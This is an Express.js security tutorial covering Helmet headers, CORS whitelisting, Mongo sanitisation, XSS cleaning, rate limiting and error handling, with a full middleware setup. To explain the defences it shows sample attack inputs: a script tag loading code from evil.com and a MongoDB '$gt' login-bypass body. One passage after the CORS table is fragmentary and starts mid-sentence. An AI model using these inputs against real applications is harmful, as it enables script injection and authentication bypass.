Helmet and CORS are the two most impactful Express security middleware packages — applied in minutes but preventing entire categories of attacks. Helmet sets HTTP security headers that instruct browsers to enforce strict security policies: preventing cross-site scripting via Content Security Policy, preventing clickjacking, enforcing HTTPS, and removing headers that leak server information. CORS controls which origins can make cross-origin requests to the API. Together they represent the minimum viable security configuration for any production Express application.
Helmet Security Headers
| Header | Helmet Default | Protects Against |
|---|---|---|
| Content-Security-Policy | Strict default-src | XSS — controls which scripts/styles/images can load |
| X-XSS-Protection | Disabled (CSP is better) | Legacy browser XSS filter |
| X-Content-Type-Options | nosniff |
MIME type sniffing attacks |
| X-Frame-Options | SAMEORIGIN |
Clickjacking via iframes |
| Strict-Transport-Security | 1 year max-age | SSL stripping / downgrade attacks |
| X-Download-Options | noopen |
IE file download attacks |
| Referrer-Policy | no-referrer |
URL leakage in Referer headers |
| Permissions-Policy | Restricts browser features | Limits microphone, camera, geolocation access |
CORS Configuration Options
| Option | Purpose | Example Value |
|---|---|---|
origin |
Allowed origins — string, array, regex, or function | 'https://app.taskmanager.io' |
methods |
Allowed HTTP methods | ['GET', 'POST', 'PATCH', 'DELETE'] |
allowedHeaders |
Allowed request headers | ['Content-Type', 'Authorization'] |
credentials |
Allow cookies/auth headers cross-origin | true |
maxAge |
Seconds browser caches preflight response | 86400 (24 hours) |
exposedHeaders |
Response headers the browser can access | ['X-Total-Count'] |
img-src 'self' data: https://cdn.cloudinary.com, font-src 'self' https://fonts.gstatic.com. Test each page in the browser console and add exceptions only for the specific violations that appear.origin: 'http://localhost:4200', build a whitelist from environment variables: const allowedOrigins = process.env.ALLOWED_ORIGINS.split(',').map(o => o.trim()) and use a callback function that checks the whitelist. This allows different origins per environment (localhost in dev, your production domain in prod) without code changes — only configuration changes.origin: '*' (allow all origins) when credentials: true is also set. The browser blocks this combination — it is a browser security requirement. If you need credentials (cookies, auth headers) cross-origin, you must specify the exact allowed origins. Wildcards and credentials are mutually exclusive. Setting origin: '*' without credentials is fine for fully public APIs.Complete Security Middleware Setup
const express = require('express');
const helmet = require('helmet');
const cors = require('cors');
const morgan = require('morgan');
const rateLimit = require('express-rate-limit');
const mongoSanitize = require('express-mongo-sanitize');
const xss = require('xss-clean');
const hpp = require('hpp');
const app = express();
// ── 1. Helmet — security headers ─────────────────────────────────────────
app.use(helmet({
// Content Security Policy — adjust for your actual dependencies
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", 'https://fonts.googleapis.com'],
fontSrc: ["'self'", 'https://fonts.gstatic.com'],
imgSrc: ["'self'", 'data:', 'https://res.cloudinary.com'],
connectSrc: ["'self'", process.env.API_URL],
frameSrc: ["'none'"],
objectSrc: ["'none'"],
upgradeInsecureRequests: [],
},
},
crossOriginEmbedderPolicy: false, // disable if embedding third-party content
}));
// ── 2. CORS — cross-origin resource sharing ───────────────────────────────
const allowedOrigins = (process.env.ALLOWED_ORIGINS || 'http://localhost:4200')
.split(',').map(o => o.trim());
app.use(cors({
origin: (origin, callback) => {
// Allow requests with no origin (mobile apps, Postman, curl)
if (!origin) return callback(null, true);
if (allowedOrigins.includes(origin)) return callback(null, true);
callback(new Error(`CORS: Origin ${origin} not allowed`));
},
methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization', 'X-Requested-With'],
credentials: true, // required for HttpOnly cookie to be sent/received
maxAge: 86400, // cache preflight for 24 hours
exposedHeaders: ['X-Total-Count'], // Angular can read this header
}));
// ── 3. Body parsing with size limits ─────────────────────────────────────
app.use(express.json({ limit: '10kb' })); // prevent large payload attacks
app.use(express.urlencoded({ extended: true, limit: '10kb' }));
// ── 4. MongoDB injection sanitisation ────────────────────────────────────
app.use(mongoSanitize());
// Removes MongoDB operators ($, .) from req.body, req.query, req.params
// Prevents: { email: { $gt: '' } } injection attacks
// ── 5. XSS sanitisation ───────────────────────────────────────────────────
app.use(xss());
// Strips HTML tags from request body
// Prevents: <script>alert('xss')</script> stored in database
// ── 6. HTTP Parameter Pollution prevention ────────────────────────────────
app.use(hpp({
whitelist: ['tags', 'status'], // allow these to be arrays (for filtering)
}));
// ── 7. Rate limiting ───────────────────────────────────────────────────────
const globalLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // 100 requests per window per IP
message: { message: 'Too many requests from this IP, please try again later.' },
standardHeaders: true,
legacyHeaders: false,
});
const authLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 10, // stricter limit for auth endpoints
message: { message: 'Too many login attempts, please try again later.' },
});
app.use('/api', globalLimiter);
app.use('/api/v1/auth', authLimiter);
// ── 8. Request logging ────────────────────────────────────────────────────
if (process.env.NODE_ENV === 'development') {
app.use(morgan('dev'));
}
// ── 9. Serve routes ───────────────────────────────────────────────────────
app.use('/api/v1/auth', require('./routes/auth.routes'));
app.use('/api/v1/tasks', require('./routes/task.routes'));
app.use('/api/v1/users', require('./routes/user.routes'));
// ── 10. Global error handler ──────────────────────────────────────────────
app.use((err, req, res, next) => {
// Don't leak internal error details in production
const statusCode = err.statusCode || 500;
const message = process.env.NODE_ENV === 'production' && statusCode === 500
? 'Internal server error'
: err.message;
// Handle specific error types
if (err.code === 11000) {
const field = Object.keys(err.keyPattern)[0];
return res.status(409).json({ message: `${field} already in use` });
}
if (err.name === 'ValidationError') {
const errors = Object.values(err.errors).map(e => e.message);
return res.status(400).json({ message: errors.join('. ') });
}
if (err.name === 'CastError') {
return res.status(400).json({ message: 'Invalid ID format' });
}
res.status(statusCode).json({ message });
});
How It Works
Step 1 — Helmet Sets Headers on Every Response
Helmet is a collection of smaller middleware functions, each setting one or more HTTP response headers. app.use(helmet()) applies them all. The browser reads these headers and enforces the policies they describe — refusing to load scripts from unauthorised origins (CSP), refusing to embed the page in an iframe (X-Frame-Options), and upgrading HTTP links to HTTPS automatically (HSTS). These protections run in the browser, not the server, so there is minimal performance impact.
Step 2 — CSP Prevents XSS by Whitelisting Trusted Sources
Content Security Policy tells the browser which domains are authorised to provide content for each resource type. Even if an attacker injects a <script src="https://evil.com/payload.js"> tag into the page, the browser blocks the request because evil.com is not in the script-src whitelist. This is a defence-in-depth measure — it does not prevent the injection but limits the damage. Paired with output encoding in MongoDB Sanitize and XSS libraries, it provides multiple layers of protection.
Step 3 — CORS Preflight Checks Origin Before the Actual Request
For requests with credentials or non-simple methods, browsers send an HTTP OPTIONS preflight request first. The server responds with CORS headers indicating whether the actual request is allowed. If the origin is not in the whitelist, the browser blocks the preflight and never sends the actual request. The maxAge: 86400 option caches the preflight result for 24 hours, avoiding a preflight round-trip on every request.
Step 4 — MongoDB Sanitize Prevents Operator Injection
Without sanitisation, an attacker can send { "email": { "$gt": "" } } as a login request. If the server uses User.findOne({ email: req.body.email }), the $gt operator matches every user and returns the first one — authentication bypass. express-mongo-sanitize strips all keys starting with $ or containing . from request bodies, parameters, and query strings, preventing MongoDB operator injection.
Step 5 — Rate Limiting Prevents Brute Force and DoS
Rate limiting tracks the number of requests from each IP address in a sliding time window. When the limit is exceeded, subsequent requests receive a 429 response. The strict auth limiter (10 requests per 15 minutes) makes brute-forcing passwords computationally unfeasible — at 10 attempts per 15 minutes, trying a common password dictionary of 10,000 entries would take 10,000 × 1.5 minutes = 250 hours per IP address.
Common Mistakes
Mistake 1 — CORS with wildcard origin and credentials
❌ Wrong — browser blocks this combination:
app.use(cors({ origin: '*', credentials: true }));
// Browser error: "When responding to a credentialed request, the server must
// specify an origin — not the wildcard '*'"
✅ Correct — specify exact origin with credentials:
app.use(cors({ origin: 'https://app.taskmanager.io', credentials: true }));
Mistake 2 — Not applying mongoSanitize before route handlers
❌ Wrong — sanitisation after routes means injection can reach the database:
app.use('/api/v1/auth', authRoutes); // routes before sanitise!
app.use(mongoSanitize()); // too late — already hit the DB
✅ Correct — sanitise before all routes:
app.use(mongoSanitize()); // sanitise first
app.use('/api/v1/auth', authRoutes); // then routes
Mistake 3 — Leaking error details in production
❌ Wrong — stack traces reveal file paths and implementation details:
app.use((err, req, res, next) => {
res.status(500).json({ message: err.message, stack: err.stack });
// Attacker learns: file paths, library versions, business logic
});
✅ Correct — generic message in production:
const msg = process.env.NODE_ENV === 'production' && err.statusCode === 500
? 'Internal server error'
: err.message;
res.status(err.statusCode || 500).json({ message: msg });
Quick Reference
| Middleware | Protects Against | npm package |
|---|---|---|
| Helmet | XSS, clickjacking, MIME sniffing, HTTPS downgrade | helmet |
| CORS | Cross-origin request abuse | cors |
| MongoSanitize | MongoDB operator injection | express-mongo-sanitize |
| XSS Clean | Script injection via request body | xss-clean |
| HPP | HTTP parameter pollution | hpp |
| Rate Limit | Brute force, DoS | express-rate-limit |
| Body size limit | Large payload attacks | express.json({ limit: '10kb' }) |